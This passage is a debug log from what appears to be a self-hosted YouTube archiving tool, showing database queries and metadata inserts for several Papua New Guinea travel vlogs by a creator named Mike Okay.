m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:04.576 [debug] QUERY OK source="media_items" db=0.3ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18984] 17:27:04.576 [debug] Current batch of media processed. Will check again in 1000ms 17:27:05.577 [debug] Current batch of media processed. Will check again in 1000ms 17:27:06.578 [debug] Current batch of media processed. Will check again in 1000ms 17:27:07.579 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 2836, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", "id" => "RZ925LRWI0M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RZ925LRWI0M", "playlist_index" => 10, "timestamp" => 1774642707, "title" => "How To Get Robbed By Machete-Wielding Road Bandits", "upload_date" => "20260327"} 17:27:07.580 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1296.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:27:07.580 [debug] QUERY OK source="sources" db=0.1ms idle=1297.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:07.581 [debug] QUERY OK source="media_items" db=0.3ms idle=1297.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-27 20:18:27Z], 3] 17:27:07.582 [debug] QUERY OK source="media_items" db=0.7ms idle=1066.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "39c0e7e6-fcf0-49a3-ae81-f7580fc9ee1d", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", 10, "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, false, false, 3, [], 98, ~U[2026-03-27 20:18:27Z], ~U[2026-08-20 00:27:07Z], ~U[2026-08-20 00:27:07Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, 3, ~U[2026-03-27 20:18:27Z]] 17:27:07.582 [debug] QUERY OK source="sources" db=0.2ms idle=66.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:07.583 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:07.583 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18985] 17:27:07.583 [debug] Current batch of media processed. Will check again in 1000ms 17:27:08.584 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 1815, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", "id" => "Xt-ikXQ-UxE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", "playlist_index" => 11, "timestamp" => 1773422223, "title" => "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "upload_date" => "20260313"} 17:27:08.585 [debug] QUERY OK source="sources" db=0.2ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:27:08.585 [debug] QUERY OK source="sources" db=0.1ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:08.585 [debug] QUERY OK source="media_items" db=0.3ms idle=1002.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-13 17:17:03Z], 3] 17:27:08.587 [debug] QUERY OK source="media_items" db=0.7ms idle=1002.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "a56b827e-64cd-45fd-bcf2-16ae1fe0af39", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", 11, "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, false, false, 3, [], 98, ~U[2026-03-13 17:17:03Z], ~U[2026-08-20 00:27:08Z], ~U[2026-08-20 00:27:08Z], "At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, 3, ~U[2026-03-13 17:17:03Z]] 17:27:08.587 [debug] QUERY OK source="sources" db=0.1ms idle=69.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:08.587 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:08.588 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18986] 17:27:08.588 [debug] Current batch of media processed. Will check again in 1000ms 17:27:09.589 [debug] Current batch of media processed. Will check again in 1000ms 17:27:10.590 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 2626, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", "id" => "xNeD65kGXlU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xNeD65kGXlU", "playlist_index" => 12, "timestamp" => 1772809517, "title" => "I've Never Travelled Somewhere Like This (Remote PNG)", "upload_date" => "20260306"} 17:27:10.591 [debug] QUERY OK source="sources" db=0.2ms idle=307.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:27:10.591 [debug] QUERY OK source="sources" db=0.1ms idle=308.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:10.592 [debug] QUERY OK source="media_items" db=0.3ms idle=308.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-06 15:05:17Z], 3] 17:27:10.593 [debug] QUERY OK source="media_items" db=0.7ms idle=309.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "eaf5bb6b-dd92-478f-aefe-1430b2a71a1b", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", 12, "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, false, false, 3, [], 98, ~U[2026-03-06 15:05:17Z], ~U[2026-08-20 00:27:10Z], ~U[2026-08-20 00:27:10Z], "Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, 3, ~U[2026-03-06 15:05:17Z]] 17:27:10.593 [debug] QUERY OK source="sources" db=0.2ms idle=73.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:10.594 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:10.594 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18987] 17:27:10.594 [debug] Current batch of media processed. Will check again in 1000ms 17:27:11.595 [debug] Current batch of media processed. Will check again in 1000ms 17:27:12.596 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 1993, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", "id" => "sVlpZ6zLXh4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sVlpZ6zLXh4", "playlist_index" => 13, "timestamp" => 1772204684, "title" => "Entering Papua New Guinea Alone in 2026", "upload_date" => "20260227"} 17:27:12.597 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=313.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:27:12.597 [debug] QUERY OK source="sources" db=0.1ms idle=314.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:12.598 [debug] QUERY OK source="media_items" db=0.3ms idle=314.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-27 15:04:44Z], 3] 17:27:12.599 [debug] QUERY OK source="media_items" db=0.7ms idle=315.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike 